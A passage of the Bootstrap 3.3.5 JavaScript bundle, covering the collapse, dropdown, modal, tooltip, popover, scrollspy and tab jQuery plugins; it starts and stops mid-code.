$(this) var data = $this.data('bs.collapse') var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false if (!data) $this.data('bs.collapse', (data = new Collapse(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.collapse $.fn.collapse = Plugin $.fn.collapse.Constructor = Collapse // COLLAPSE NO CONFLICT // ==================== $.fn.collapse.noConflict = function () { $.fn.collapse = old return this } // COLLAPSE DATA-API // ================= $(document).on('click.bs.collapse.data-api', '[data-toggle="collapse"]', function (e) { var $this = $(this) if (!$this.attr('data-target')) e.preventDefault() var $target = getTargetFromTrigger($this) var data = $target.data('bs.collapse') var option = data ? 'toggle' : $this.data() Plugin.call($target, option) }) }(jQuery); /* ======================================================================== * Bootstrap: dropdown.js v3.3.5 * http://getbootstrap.com/javascript/#dropdowns * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // DROPDOWN CLASS DEFINITION // ========================= var backdrop = '.dropdown-backdrop' var toggle = '[data-toggle="dropdown"]' var Dropdown = function (element) { $(element).on('click.bs.dropdown', this.toggle) } Dropdown.VERSION = '3.3.5' function getParent($this) { var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } var $parent = selector && $(selector) return $parent && $parent.length ? $parent : $this.parent() } function clearMenus(e) { if (e && e.which === 3) return $(backdrop).remove() $(toggle).each(function () { var $this = $(this) var $parent = getParent($this) var relatedTarget = { relatedTarget: this } if (!$parent.hasClass('open')) return if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $this.attr('aria-expanded', 'false') $parent.removeClass('open').trigger('hidden.bs.dropdown', relatedTarget) }) } Dropdown.prototype.toggle = function (e) { var $this = $(this) if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') clearMenus() if (!isActive) { if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { // if mobile we use a backdrop because click events don't delegate $(document.createElement('div')) .addClass('dropdown-backdrop') .insertAfter($(this)) .on('click', clearMenus) } var relatedTarget = { relatedTarget: this } $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $this .trigger('focus') .attr('aria-expanded', 'true') $parent .toggleClass('open') .trigger('shown.bs.dropdown', relatedTarget) } return false } Dropdown.prototype.keydown = function (e) { if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return var $this = $(this) e.preventDefault() e.stopPropagation() if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') if (!isActive && e.which != 27 || isActive && e.which == 27) { if (e.which == 27) $parent.find(toggle).trigger('focus') return $this.trigger('click') } var desc = ' li:not(.disabled):visible a' var $items = $parent.find('.dropdown-menu' + desc) if (!$items.length) return var index = $items.index(e.target) if (e.which == 38 && index > 0) index-- // up if (e.which == 40 && index < $items.length - 1) index++ // down if (!~index) index = 0 $items.eq(index).trigger('focus') } // DROPDOWN PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.dropdown') if (!data) $this.data('bs.dropdown', (data = new Dropdown(this))) if (typeof option == 'string') data[option].call($this) }) } var old = $.fn.dropdown $.fn.dropdown = Plugin $.fn.dropdown.Constructor = Dropdown // DROPDOWN NO CONFLICT // ==================== $.fn.dropdown.noConflict = function () { $.fn.dropdown = old return this } // APPLY TO STANDARD DROPDOWN ELEMENTS // =================================== $(document) .on('click.bs.dropdown.data-api', clearMenus) .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() }) .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle) .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown) .on('keydown.bs.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown) }(jQuery); /* ======================================================================== * Bootstrap: modal.js v3.3.5 * http://getbootstrap.com/javascript/#modals * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // MODAL CLASS DEFINITION // ====================== var Modal = function (element, options) { this.options = options this.$body = $(document.body) this.$element = $(element) this.$dialog = this.$element.find('.modal-dialog') this.$backdrop = null this.isShown = null this.originalBodyPad = null this.scrollbarWidth = 0 this.ignoreBackdropClick = false if (this.options.remote) { this.$element .find('.modal-content') .load(this.options.remote, $.proxy(function () { this.$element.trigger('loaded.bs.modal') }, this)) } } Modal.VERSION = '3.3.5' Modal.TRANSITION_DURATION = 300 Modal.BACKDROP_TRANSITION_DURATION = 150 Modal.DEFAULTS = { backdrop: true, keyboard: true, show: true } Modal.prototype.toggle = function (_relatedTarget) { return this.isShown ? this.hide() : this.show(_relatedTarget) } Modal.prototype.show = function (_relatedTarget) { var that = this var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget }) this.$element.trigger(e) if (this.isShown || e.isDefaultPrevented()) return this.isShown = true this.checkScrollbar() this.setScrollbar() this.$body.addClass('modal-open') this.escape() this.resize() this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)) this.$dialog.on('mousedown.dismiss.bs.modal', function () { that.$element.one('mouseup.dismiss.bs.modal', function (e) { if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true }) }) this.backdrop(function () { var transition = $.support.transition && that.$element.hasClass('fade') if (!that.$element.parent().length) { that.$element.appendTo(that.$body) // don't move modals dom position } that.$element .show() .scrollTop(0) that.adjustDialog() if (transition) { that.$element[0].offsetWidth // force reflow } that.$element.addClass('in') that.enforceFocus() var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget }) transition ? that.$dialog // wait for modal to slide in .one('bsTransitionEnd', function () { that.$element.trigger('focus').trigger(e) }) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : that.$element.trigger('focus').trigger(e) }) } Modal.prototype.hide = function (e) { if (e) e.preventDefault() e = $.Event('hide.bs.modal') this.$element.trigger(e) if (!this.isShown || e.isDefaultPrevented()) return this.isShown = false this.escape() this.resize() $(document).off('focusin.bs.modal') this.$element .removeClass('in') .off('click.dismiss.bs.modal') .off('mouseup.dismiss.bs.modal') this.$dialog.off('mousedown.dismiss.bs.modal') $.support.transition && this.$element.hasClass('fade') ? this.$element .one('bsTransitionEnd', $.proxy(this.hideModal, this)) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : this.hideModal() } Modal.prototype.enforceFocus = function () { $(document) .off('focusin.bs.modal') // guard against infinite focus loop .on('focusin.bs.modal', $.proxy(function (e) { if (this.$element[0] !== e.target && !this.$element.has(e.target).length) { this.$element.trigger('focus') } }, this)) } Modal.prototype.escape = function () { if (this.isShown && this.options.keyboard) { this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) { e.which == 27 && this.hide() }, this)) } else if (!this.isShown) { this.$element.off('keydown.dismiss.bs.modal') } } Modal.prototype.resize = function () { if (this.isShown) { $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this)) } else { $(window).off('resize.bs.modal') } } Modal.prototype.hideModal = function () { var that = this this.$element.hide() this.backdrop(function () { that.$body.removeClass('modal-open') that.resetAdjustments() that.resetScrollbar() that.$element.trigger('hidden.bs.modal') }) } Modal.prototype.removeBackdrop = function () { this.$backdrop && this.$backdrop.remove() this.$backdrop = null } Modal.prototype.backdrop = function (callback) { var that = this var animate = this.$element.hasClass('fade') ? 'fade' : '' if (this.isShown && this.options.backdrop) { var doAnimate = $.support.transition && animate this.$backdrop = $(document.createElement('div')) .addClass('modal-backdrop ' + animate) .appendTo(this.$body) this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) { if (this.ignoreBackdropClick) { this.ignoreBackdropClick = false return } if (e.target !== e.currentTarget) return this.options.backdrop == 'static' ? this.$element[0].focus() : this.hide() }, this)) if (doAnimate) this.$backdrop[0].offsetWidth // force reflow this.$backdrop.addClass('in') if (!callback) return doAnimate ? this.$backdrop .one('bsTransitionEnd', callback) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callback() } else if (!this.isShown && this.$backdrop) { this.$backdrop.removeClass('in') var callbackRemove = function () { that.removeBackdrop() callback && callback() } $.support.transition && this.$element.hasClass('fade') ? this.$backdrop .one('bsTransitionEnd', callbackRemove) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callbackRemove() } else if (callback) { callback() } } // these following methods are used to handle overflowing modals Modal.prototype.handleUpdate = function () { this.adjustDialog() } Modal.prototype.adjustDialog = function () { var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight this.$element.css({ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '', paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : '' }) } Modal.prototype.resetAdjustments = function () { this.$element.css({ paddingLeft: '', paddingRight: '' }) } Modal.prototype.checkScrollbar = function () { var fullWindowWidth = window.innerWidth if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8 var documentElementRect = document.documentElement.getBoundingClientRect() fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left) } this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth this.scrollbarWidth = this.measureScrollbar() } Modal.prototype.setScrollbar = function () { var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10) this.originalBodyPad = document.body.style.paddingRight || '' if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth) } Modal.prototype.resetScrollbar = function () { this.$body.css('padding-right', this.originalBodyPad) } Modal.prototype.measureScrollbar = function () { // thx walsh var scrollDiv = document.createElement('div') scrollDiv.className = 'modal-scrollbar-measure' this.$body.append(scrollDiv) var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth this.$body[0].removeChild(scrollDiv) return scrollbarWidth } // MODAL PLUGIN DEFINITION // ======================= function Plugin(option, _relatedTarget) { return this.each(function () { var $this = $(this) var data = $this.data('bs.modal') var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data) $this.data('bs.modal', (data = new Modal(this, options))) if (typeof option == 'string') data[option](_relatedTarget) else if (options.show) data.show(_relatedTarget) }) } var old = $.fn.modal $.fn.modal = Plugin $.fn.modal.Constructor = Modal // MODAL NO CONFLICT // ================= $.fn.modal.noConflict = function () { $.fn.modal = old return this } // MODAL DATA-API // ============== $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) { var $this = $(this) var href = $this.attr('href') var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7 var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()) if ($this.is('a')) e.preventDefault() $target.one('show.bs.modal', function (showEvent) { if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown $target.one('hidden.bs.modal', function () { $this.is(':visible') && $this.trigger('focus') }) }) Plugin.call($target, option, this) }) }(jQuery); /* ======================================================================== * Bootstrap: tooltip.js v3.3.5 * http://getbootstrap.com/javascript/#tooltip * Inspired by the original jQuery.tipsy by Jason Frame * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // TOOLTIP PUBLIC CLASS DEFINITION // =============================== var Tooltip = function (element, options) { this.type = null this.options = null this.enabled = null this.timeout = null this.hoverState = null this.$element = null this.inState = null this.init('tooltip', element, options) } Tooltip.VERSION = '3.3.5' Tooltip.TRANSITION_DURATION = 150 Tooltip.DEFAULTS = { animation: true, placement: 'top', selector: false, template: '', trigger: 'hover focus', title: '', delay: 0, html: false, container: false, viewport: { selector: 'body', padding: 0 } } Tooltip.prototype.init = function (type, element, options) { this.enabled = true this.type = type this.$element = $(element) this.options = this.getOptions(options) this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport)) this.inState = { click: false, hover: false, focus: false } if (this.$element[0] instanceof document.constructor && !this.options.selector) { throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!') } var triggers = this.options.trigger.split(' ') for (var i = triggers.length; i--;) { var trigger = triggers[i] if (trigger == 'click') { this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this)) } else if (trigger != 'manual') { var eventIn = trigger == 'hover' ? 'mouseenter' : 'focusin' var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout' this.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this)) this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this)) } } this.options.selector ? (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) : this.fixTitle() } Tooltip.prototype.getDefaults = function () { return Tooltip.DEFAULTS } Tooltip.prototype.getOptions = function (options) { options = $.extend({}, this.getDefaults(), this.$element.data(), options) if (options.delay && typeof options.delay == 'number') { options.delay = { show: options.delay, hide: options.delay } } return options } Tooltip.prototype.getDelegateOptions = function () { var options = {} var defaults = this.getDefaults() this._options && $.each(this._options, function (key, value) { if (defaults[key] != value) options[key] = value }) return options } Tooltip.prototype.enter = function (obj) { var self = obj instanceof this.constructor ? obj : $(obj.currentTarget).data('bs.' + this.type) if (!self) { self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) $(obj.currentTarget).data('bs.' + this.type, self) } if (obj instanceof $.Event) { self.inState[obj.type == 'focusin' ? 'focus' : 'hover'] = true } if (self.tip().hasClass('in') || self.hoverState == 'in') { self.hoverState = 'in' return } clearTimeout(self.timeout) self.hoverState = 'in' if (!self.options.delay || !self.options.delay.show) return self.show() self.timeout = setTimeout(function () { if (self.hoverState == 'in') self.show() }, self.options.delay.show) } Tooltip.prototype.isInStateTrue = function () { for (var key in this.inState) { if (this.inState[key]) return true } return false } Tooltip.prototype.leave = function (obj) { var self = obj instanceof this.constructor ? obj : $(obj.currentTarget).data('bs.' + this.type) if (!self) { self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) $(obj.currentTarget).data('bs.' + this.type, self) } if (obj instanceof $.Event) { self.inState[obj.type == 'focusout' ? 'focus' : 'hover'] = false } if (self.isInStateTrue()) return clearTimeout(self.timeout) self.hoverState = 'out' if (!self.options.delay || !self.options.delay.hide) return self.hide() self.timeout = setTimeout(function () { if (self.hoverState == 'out') self.hide() }, self.options.delay.hide) } Tooltip.prototype.show = function () { var e = $.Event('show.bs.' + this.type) if (this.hasContent() && this.enabled) { this.$element.trigger(e) var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0]) if (e.isDefaultPrevented() || !inDom) return var that = this var $tip = this.tip() var tipId = this.getUID(this.type) this.setContent() $tip.attr('id', tipId) this.$element.attr('aria-describedby', tipId) if (this.options.animation) $tip.addClass('fade') var placement = typeof this.options.placement == 'function' ? this.options.placement.call(this, $tip[0], this.$element[0]) : this.options.placement var autoToken = /\s?auto?\s?/i var autoPlace = autoToken.test(placement) if (autoPlace) placement = placement.replace(autoToken, '') || 'top' $tip .detach() .css({ top: 0, left: 0, display: 'block' }) .addClass(placement) .data('bs.' + this.type, this) this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element) this.$element.trigger('inserted.bs.' + this.type) var pos = this.getPosition() var actualWidth = $tip[0].offsetWidth var actualHeight = $tip[0].offsetHeight if (autoPlace) { var orgPlacement = placement var viewportDim = this.getPosition(this.$viewport) placement = placement == 'bottom' && pos.bottom + actualHeight > viewportDim.bottom ? 'top' : placement == 'top' && pos.top - actualHeight < viewportDim.top ? 'bottom' : placement == 'right' && pos.right + actualWidth > viewportDim.width ? 'left' : placement == 'left' && pos.left - actualWidth < viewportDim.left ? 'right' : placement $tip .removeClass(orgPlacement) .addClass(placement) } var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight) this.applyPlacement(calculatedOffset, placement) var complete = function () { var prevHoverState = that.hoverState that.$element.trigger('shown.bs.' + that.type) that.hoverState = null if (prevHoverState == 'out') that.leave(that) } $.support.transition && this.$tip.hasClass('fade') ? $tip .one('bsTransitionEnd', complete) .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : complete() } } Tooltip.prototype.applyPlacement = function (offset, placement) { var $tip = this.tip() var width = $tip[0].offsetWidth var height = $tip[0].offsetHeight // manually read margins because getBoundingClientRect includes difference var marginTop = parseInt($tip.css('margin-top'), 10) var marginLeft = parseInt($tip.css('margin-left'), 10) // we must check for NaN for ie 8/9 if (isNaN(marginTop)) marginTop = 0 if (isNaN(marginLeft)) marginLeft = 0 offset.top += marginTop offset.left += marginLeft // $.fn.offset doesn't round pixel values // so we use setOffset directly with our own function B-0 $.offset.setOffset($tip[0], $.extend({ using: function (props) { $tip.css({ top: Math.round(props.top), left: Math.round(props.left) }) } }, offset), 0) $tip.addClass('in') // check to see if placing tip in new offset caused the tip to resize itself var actualWidth = $tip[0].offsetWidth var actualHeight = $tip[0].offsetHeight if (placement == 'top' && actualHeight != height) { offset.top = offset.top + height - actualHeight } var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight) if (delta.left) offset.left += delta.left else offset.top += delta.top var isVertical = /top|bottom/.test(placement) var arrowDelta = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight' $tip.offset(offset) this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical) } Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) { this.arrow() .css(isVertical ? 'left' : 'top', 50 * (1 - delta / dimension) + '%') .css(isVertical ? 'top' : 'left', '') } Tooltip.prototype.setContent = function () { var $tip = this.tip() var title = this.getTitle() $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title) $tip.removeClass('fade in top bottom left right') } Tooltip.prototype.hide = function (callback) { var that = this var $tip = $(this.$tip) var e = $.Event('hide.bs.' + this.type) function complete() { if (that.hoverState != 'in') $tip.detach() that.$element .removeAttr('aria-describedby') .trigger('hidden.bs.' + that.type) callback && callback() } this.$element.trigger(e) if (e.isDefaultPrevented()) return $tip.removeClass('in') $.support.transition && $tip.hasClass('fade') ? $tip .one('bsTransitionEnd', complete) .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : complete() this.hoverState = null return this } Tooltip.prototype.fixTitle = function () { var $e = this.$element if ($e.attr('title') || typeof $e.attr('data-original-title') != 'string') { $e.attr('data-original-title', $e.attr('title') || '').attr('title', '') } } Tooltip.prototype.hasContent = function () { return this.getTitle() } Tooltip.prototype.getPosition = function ($element) { $element = $element || this.$element var el = $element[0] var isBody = el.tagName == 'BODY' var elRect = el.getBoundingClientRect() if (elRect.width == null) { // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093 elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top }) } var elOffset = isBody ? { top: 0, left: 0 } : $element.offset() var scroll = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() } var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null return $.extend({}, elRect, scroll, outerDims, elOffset) } Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) { return placement == 'bottom' ? { top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2 } : placement == 'top' ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } : placement == 'left' ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } : /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width } } Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) { var delta = { top: 0, left: 0 } if (!this.$viewport) return delta var viewportPadding = this.options.viewport && this.options.viewport.padding || 0 var viewportDimensions = this.getPosition(this.$viewport) if (/right|left/.test(placement)) { var topEdgeOffset = pos.top - viewportPadding - viewportDimensions.scroll var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight if (topEdgeOffset < viewportDimensions.top) { // top overflow delta.top = viewportDimensions.top - topEdgeOffset } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset } } else { var leftEdgeOffset = pos.left - viewportPadding var rightEdgeOffset = pos.left + viewportPadding + actualWidth if (leftEdgeOffset < viewportDimensions.left) { // left overflow delta.left = viewportDimensions.left - leftEdgeOffset } else if (rightEdgeOffset > viewportDimensions.right) { // right overflow delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset } } return delta } Tooltip.prototype.getTitle = function () { var title var $e = this.$element var o = this.options title = $e.attr('data-original-title') || (typeof o.title == 'function' ? o.title.call($e[0]) : o.title) return title } Tooltip.prototype.getUID = function (prefix) { do prefix += ~~(Math.random() * 1000000) while (document.getElementById(prefix)) return prefix } Tooltip.prototype.tip = function () { if (!this.$tip) { this.$tip = $(this.options.template) if (this.$tip.length != 1) { throw new Error(this.type + ' `template` option must consist of exactly 1 top-level element!') } } return this.$tip } Tooltip.prototype.arrow = function () { return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow')) } Tooltip.prototype.enable = function () { this.enabled = true } Tooltip.prototype.disable = function () { this.enabled = false } Tooltip.prototype.toggleEnabled = function () { this.enabled = !this.enabled } Tooltip.prototype.toggle = function (e) { var self = this if (e) { self = $(e.currentTarget).data('bs.' + this.type) if (!self) { self = new this.constructor(e.currentTarget, this.getDelegateOptions()) $(e.currentTarget).data('bs.' + this.type, self) } } if (e) { self.inState.click = !self.inState.click if (self.isInStateTrue()) self.enter(self) else self.leave(self) } else { self.tip().hasClass('in') ? self.leave(self) : self.enter(self) } } Tooltip.prototype.destroy = function () { var that = this clearTimeout(this.timeout) this.hide(function () { that.$element.off('.' + that.type).removeData('bs.' + that.type) if (that.$tip) { that.$tip.detach() } that.$tip = null that.$arrow = null that.$viewport = null }) } // TOOLTIP PLUGIN DEFINITION // ========================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.tooltip') var options = typeof option == 'object' && option if (!data && /destroy|hide/.test(option)) return if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.tooltip $.fn.tooltip = Plugin $.fn.tooltip.Constructor = Tooltip // TOOLTIP NO CONFLICT // =================== $.fn.tooltip.noConflict = function () { $.fn.tooltip = old return this } }(jQuery); /* ======================================================================== * Bootstrap: popover.js v3.3.5 * http://getbootstrap.com/javascript/#popovers * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // POPOVER PUBLIC CLASS DEFINITION // =============================== var Popover = function (element, options) { this.init('popover', element, options) } if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js') Popover.VERSION = '3.3.5' Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, { placement: 'right', trigger: 'click', content: '', template: '' }) // NOTE: POPOVER EXTENDS tooltip.js // ================================ Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype) Popover.prototype.constructor = Popover Popover.prototype.getDefaults = function () { return Popover.DEFAULTS } Popover.prototype.setContent = function () { var $tip = this.tip() var title = this.getTitle() var content = this.getContent() $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title) $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text' ](content) $tip.removeClass('fade top bottom left right in') // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do // this manually by checking the contents. if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide() } Popover.prototype.hasContent = function () { return this.getTitle() || this.getContent() } Popover.prototype.getContent = function () { var $e = this.$element var o = this.options return $e.attr('data-content') || (typeof o.content == 'function' ? o.content.call($e[0]) : o.content) } Popover.prototype.arrow = function () { return (this.$arrow = this.$arrow || this.tip().find('.arrow')) } // POPOVER PLUGIN DEFINITION // ========================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.popover') var options = typeof option == 'object' && option if (!data && /destroy|hide/.test(option)) return if (!data) $this.data('bs.popover', (data = new Popover(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.popover $.fn.popover = Plugin $.fn.popover.Constructor = Popover // POPOVER NO CONFLICT // =================== $.fn.popover.noConflict = function () { $.fn.popover = old return this } }(jQuery); /* ======================================================================== * Bootstrap: scrollspy.js v3.3.5 * http://getbootstrap.com/javascript/#scrollspy * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // SCROLLSPY CLASS DEFINITION // ========================== function ScrollSpy(element, options) { this.$body = $(document.body) this.$scrollElement = $(element).is(document.body) ? $(window) : $(element) this.options = $.extend({}, ScrollSpy.DEFAULTS, options) this.selector = (this.options.target || '') + ' .nav li > a' this.offsets = [] this.targets = [] this.activeTarget = null this.scrollHeight = 0 this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this)) this.refresh() this.process() } ScrollSpy.VERSION = '3.3.5' ScrollSpy.DEFAULTS = { offset: 10 } ScrollSpy.prototype.getScrollHeight = function () { return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight) } ScrollSpy.prototype.refresh = function () { var that = this var offsetMethod = 'offset' var offsetBase = 0 this.offsets = [] this.targets = [] this.scrollHeight = this.getScrollHeight() if (!$.isWindow(this.$scrollElement[0])) { offsetMethod = 'position' offsetBase = this.$scrollElement.scrollTop() } this.$body .find(this.selector) .map(function () { var $el = $(this) var href = $el.data('target') || $el.attr('href') var $href = /^#./.test(href) && $(href) return ($href && $href.length && $href.is(':visible') && [[$href[offsetMethod]().top + offsetBase, href]]) || null }) .sort(function (a, b) { return a[0] - b[0] }) .each(function () { that.offsets.push(this[0]) that.targets.push(this[1]) }) } ScrollSpy.prototype.process = function () { var scrollTop = this.$scrollElement.scrollTop() + this.options.offset var scrollHeight = this.getScrollHeight() var maxScroll = this.options.offset + scrollHeight - this.$scrollElement.height() var offsets = this.offsets var targets = this.targets var activeTarget = this.activeTarget var i if (this.scrollHeight != scrollHeight) { this.refresh() } if (scrollTop >= maxScroll) { return activeTarget != (i = targets[targets.length - 1]) && this.activate(i) } if (activeTarget && scrollTop < offsets[0]) { this.activeTarget = null return this.clear() } for (i = offsets.length; i--;) { activeTarget != targets[i] && scrollTop >= offsets[i] && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1]) && this.activate(targets[i]) } } ScrollSpy.prototype.activate = function (target) { this.activeTarget = target this.clear() var selector = this.selector + '[data-target="' + target + '"],' + this.selector + '[href="' + target + '"]' var active = $(selector) .parents('li') .addClass('active') if (active.parent('.dropdown-menu').length) { active = active .closest('li.dropdown') .addClass('active') } active.trigger('activate.bs.scrollspy') } ScrollSpy.prototype.clear = function () { $(this.selector) .parentsUntil(this.options.target, '.active') .removeClass('active') } // SCROLLSPY PLUGIN DEFINITION // =========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.scrollspy') var options = typeof option == 'object' && option if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.scrollspy $.fn.scrollspy = Plugin $.fn.scrollspy.Constructor = ScrollSpy // SCROLLSPY NO CONFLICT // ===================== $.fn.scrollspy.noConflict = function () { $.fn.scrollspy = old return this } // SCROLLSPY DATA-API // ================== $(window).on('load.bs.scrollspy.data-api', function () { $('[data-spy="scroll"]').each(function () { var $spy = $(this) Plugin.call($spy, $spy.data()) }) }) }(jQuery); /* ======================================================================== * Bootstrap: tab.js v3.3.5 * http://getbootstrap.com/javascript/#tabs * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // TAB CLASS DEFINITION // ==================== var Tab = function (element) { // jscs:disable requireDollarBeforejQueryAssignment this.element = $(element) // jscs:enable requireDollarBeforejQueryAssignment } Tab.VERSION = '3.3.5' Tab.TRANSITION_DURATION = 150 Tab.prototype.show = function () { var $this = this.element var $ul = $this.closest('ul:not(.dropdown-menu)') var selector = $this.data('target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } if ($this.parent('li').hasClass('active')) return var $previous = $ul.find('.active:last a') var hideEvent = $.Event('hide.bs.tab', { relatedTarget: $this[0] }) var showEvent = $.Event('show.bs.tab', { relatedTarget: $previous[0] }) $previous.trigger(hideEvent) $this.trigger(showEvent) if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return var $target = $(selector) this.activate($this.closest('li'), $ul) this.activate($target, $target.parent(), function () { $previous.trigger({ type: 'hidden.bs.tab', relatedTarget: $this[0] }) $this.trigger({ type: 'shown.bs.tab', relatedTarget: $previous[0] }) }) } Tab.prototype.activate = function (element, container, callback) { var $active = container.find('> .active') var transition = callback && $.support.transition && ($active.length && 